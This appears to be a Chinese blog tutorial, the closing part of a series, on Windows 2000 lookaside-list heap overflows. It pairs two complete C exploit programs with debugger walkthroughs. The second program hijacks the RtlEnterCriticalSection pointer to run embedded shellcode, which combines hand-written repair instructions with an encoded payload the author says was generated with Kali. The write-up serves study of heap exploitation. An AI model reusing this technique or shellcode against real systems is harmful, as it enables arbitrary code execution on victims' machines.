文章目录
  1. 1. 0x000 环境
  2. 2. 0x001堆溢出之快表
  3. 3. 0x003 总结
  4. 4. 0x004 参考书籍

本系列文章讲述了windows 2000 下 堆溢出的方法


0x000 环境

  1. 虚拟机 VirtualBox 5.0.20
  2. 系统 windows 2000 Kali linux
  3. 工具 VC++6.0 OllyDbg 1.10 汉化版 AsmToE v5.20

    0x001堆溢出之快表

  4. 代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1. #include<stdio.h>
2. #include <windows.h>
3.
4. int main()
5. {
6. HLOCAL h1,h2,h3,h4;
7. char * buf,*b;
8. char str[]=
9. "AAAAAAAA" //buf 堆块的数据
10. "BBBBBBBB" //下一个堆块的头
11. "\x80\x23\x36\x00"; //将堆分配地址要劫持的位置
12. HANDLE hp;
13.
14.
15. hp = HeapCreate(0,0,0); //堆创建带有快表的
16.
17. __asm int 3
18.
19. buf = (char*)HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
20. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
21. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
22.
23. HeapFree(hp,0,h1); //将h1连接到快表
24.
25. memcpy(buf,str,20); //溢出
26.
27. h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //将劫持地址写入快表头
28.
29. b = (char*)HeapAlloc(hp,HEAP_GENERATE_EXCEPTIONS,8); //在劫持地址分配内存不清空内存内容
30. strcpy(b,"XXXX"); //任意地址读写
31.
32. return 0;
33. }
  1. 快表溢出原理及现象分析
    a) 由第一篇中的知识,可知道快表中单链表,它和空表不同,下面就讲一下我是如何利用的。
    b) 首先编译上面的代码,运行,OD附加等等,这里不在多说了,单步执行或者加断点,跳过前面堆块分配的过程,分配后的堆情况如下图。选中部分即新分配的三个堆块。

    c) 下面将第二块释放掉,可以转到快表头去看,可以看到第二块数据的地址被写到其中了,具体如下图。这里讲一下单链表的操作,这里是一个单链表的一个插入,下次分配数据会从Look[2]的数据项寻找对应的堆块,如果存在,会将链表中下一个节点中存储下下个节点的地址写入到头中,以便下次从快表中分配。

    d) 结合源代码可以看出下一步发生了溢出,复制的数据将第一个链表的数据域填充满了以后,又将下一块也就是第二块的头覆盖掉了,再加上四个字节的大小(结合上面的两个图,可以算出来,这里正是Look[2]中存储的地址,如果这里被修改,下次分配内存的地址将会改变),在这些过程执行之后,堆中变化如下图,这里我将下次分配的地址(重定向到)堆上的另一地址0x00362380,现在还没有写入到Look[2]。

    e) 下面,程序再次申请了一块同样大小的内存,由第一篇文章可以知道,这里会从快表分配,如果没有发生溢出程序运行之后,会将0x00361ea0的数据(0x00000000)写Look[2]中,Look[2]就为空了,但是溢出之后,程序就是将现在的数据写入了Look[2]中,Look[2]不为空了,下次分配会从这个写入的地址开始分配,执行后的快表数组如下,可以看到值果然变成了0x00362380。

    f) 程序再次分配内存,会在上面的那个地址分配,我们来验证一下,我们可以看一下函数执行的返回值,正是我们重定向后的地址,堆块分配成功了。

    g) 我们转到上面的地址,继续运行程序,这里向新分配的内存中写入了“XXXX”这个字符串,这里一个更明显的看到上面这个结果,具体如下图
  2. 总结
    通过上面的小程序,我们很清楚的明白了快表的堆溢出,可以向劫持的地址写入任意数据,我们也知道了怎么利用快表的,快表的工作原理,攻击方法等等,下面我们将植入shellcode完全利用这个程序。
    0x002 DWROD SHOOT代码植入
  3. 修改代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
2. #include <stdio.h>
3. #include <windows.h>
4.
5. char shellcode[]=
6. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //每行15个字节
7. "\xB8\x1c\xF0\xFd\x7f" //mov eax,7FFDF01Ch
8. "\xBB\x70\xF1\xFC\x77" //mov ebx,77FCF170h
9. "\x89\x18" //mov [eax],ebx
10. "\x90\x90\x90"
11. "\xB8\x03\x91\xF8\x77" //mov eax,77F89103h
12. "\xBB\x20\xF0\xFD\x7F" //mov ebx,7FFDF020h
13. "\x89\x03" //mov dword ptr ds:[ebx],eax
14. "\x90\x90\x90"
15. "\xbf\xa3\x70\xde\x19\xd9\xe8\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
16. "\x32\x83\xea\xfc\x31\x7a\x0e\x03\xd9\x7e\x3c\xec\xe1\x97\x42"
17. "\x0f\x19\x68\x23\x99\xfc\x59\x63\xfd\x75\xc9\x53\x75\xdb\xe6"
18. "\x18\xdb\xcf\x7d\x6c\xf4\xe0\x36\xdb\x22\xcf\xc7\x70\x16\x4e"
19. "\x44\x8b\x4b\xb0\x75\x44\x9e\xb1\xb2\xb9\x53\xe3\x6b\xb5\xc6"
20. "\x13\x1f\x83\xda\x98\x53\x05\x5b\x7d\x23\x24\x4a\xd0\x3f\x7f"
21. "\x4c\xd3\xec\x0b\xc5\xcb\xf1\x36\x9f\x60\xc1\xcd\x1e\xa0\x1b"
22. "\x2d\x8c\x8d\x93\xdc\xcc\xca\x14\x3f\xbb\x22\x67\xc2\xbc\xf1"
23. "\x15\x18\x48\xe1\xbe\xeb\xea\xcd\x3f\x3f\x6c\x86\x4c\xf4\xfa"
24. "\xc0\x50\x0b\x2e\x7b\x6c\x80\xd1\xab\xe4\xd2\xf5\x6f\xac\x81"
25. "\x94\x36\x08\x67\xa8\x28\xf3\xd8\x0c\x23\x1e\x0c\x3d\x6e\x75"
26. "\xd3\xb3\x15\x3b\xd3\xcb\x15\x6c\xbc\xfa\x9e\xe3\xbb\x02\x75"
27. "\x40\x33\x49\xd7\xe1\xdc\x14\x82\xb3\x80\xa6\x79\xf7\xbc\x24"
28. "\x8b\x88\x3a\x34\xfe\x8d\x07\xf2\x13\xfc\x18\x97\x13\x53\x18"
29. "\xb2\x70\x3e\x82\x1d\x59\xab\x6a\x3d\xc4\x47\x08\xc1"
30. "\x90\x90"
31. ;
32.
33.
34. int main()
35. {
36. HLOCAL h1,h2,h3,h4;
37. char * buf,*b,*shell;
38. char str[]=
39. "AAAAAAAA" //buf 堆块的数据
40. "BBBBBBBB"
41. "\x20\xf0\xfd\x7f"; //将堆分配地址要劫持的位置,这里是RtlEnterCriticalSection的地址7FFDF020
42. HANDLE hp;
43.
44. hp = HeapCreate(0,0,0); //堆创建带有快表的
45.
46. __asm int 3
47.
48.
49. buf = (char*)HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
50. h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
51. h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
52.
53. HeapFree(hp,0,h1); //将h1连接到快表
54. memcpy(buf,str,20); //溢出
55.
56. h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //将劫持地址写入快表头
57.
58. shell = (char*)HeapAlloc(hp,HEAP_ZERO_MEMORY,300); //申请内存存放shellcode
59.
60. memcpy(shell,shellcode,270);
61.
62. b = (char*)HeapAlloc(hp,HEAP_GENERATE_EXCEPTIONS,8);
63. strcpy(b,"\xc0\x1e\x36"); //任意地址读写 shellcode地址00361EC0
64.
65. return 0;
66. }
  1. 植入shell code
    a) 确定劫持地址
    这次的利用和上一篇的空表利用几乎是一样的,相同的地方我不在多赘述,这里利用的地址也是RtlEnterCriticalSection,它的地址为0x7ffdf020,寻找方法上一篇也提到了,不会的可以去寻找查看一下。
    b) 确定shellcode地址
    这里比上一面程序多申请了一块内存存放shellcode,通过调试我确定再我机子上是0x00361ec0
    c) Shellcode
    Shellcode和之前使用kali生成的shellcode一样
    d) 植入
    通过上面的小程序,我们可以将RtlEnterCriticalSection的地址设置为劫持地址,再将我们的shellcode地址写入就可以了,
    可以结合源代码的40和62行来看是怎么做的。
    e) 运行结果

    f) 与空表的区别
    要注意上面的shellcode,对系统的修复工作要增加,如果只是按照空表来修复的话,shellcode不会正确被执行,这里我也是调试好久才发现,在将堆块劫持到新的位置的时候,堆块的头会破坏上面的数据,引发异常,如下图中,第一个红框的位置,就是对RtlEnterCriticalSection减4的地址的数据进行修复,同样使用上面的AsmToE工具将汇编转换成机器码,在代码的的旁边我也注释汇编代码,第二个红框和空表的修复是一样的。

    0x003 总结

    堆溢出这一系列的文章目前写完,这对我调试能力和分析设计能力都有很大的提高,对堆的理解也更加深入了。

    0x004 参考书籍

    [1]《0day安全 软件漏洞分析技术 (第二版)》王清
    [2]《软件调试》张银奎
文章目录
  1. 1. 0x000 环境
  2. 2. 0x001堆溢出之快表
  3. 3. 0x003 总结
  4. 4. 0x004 参考书籍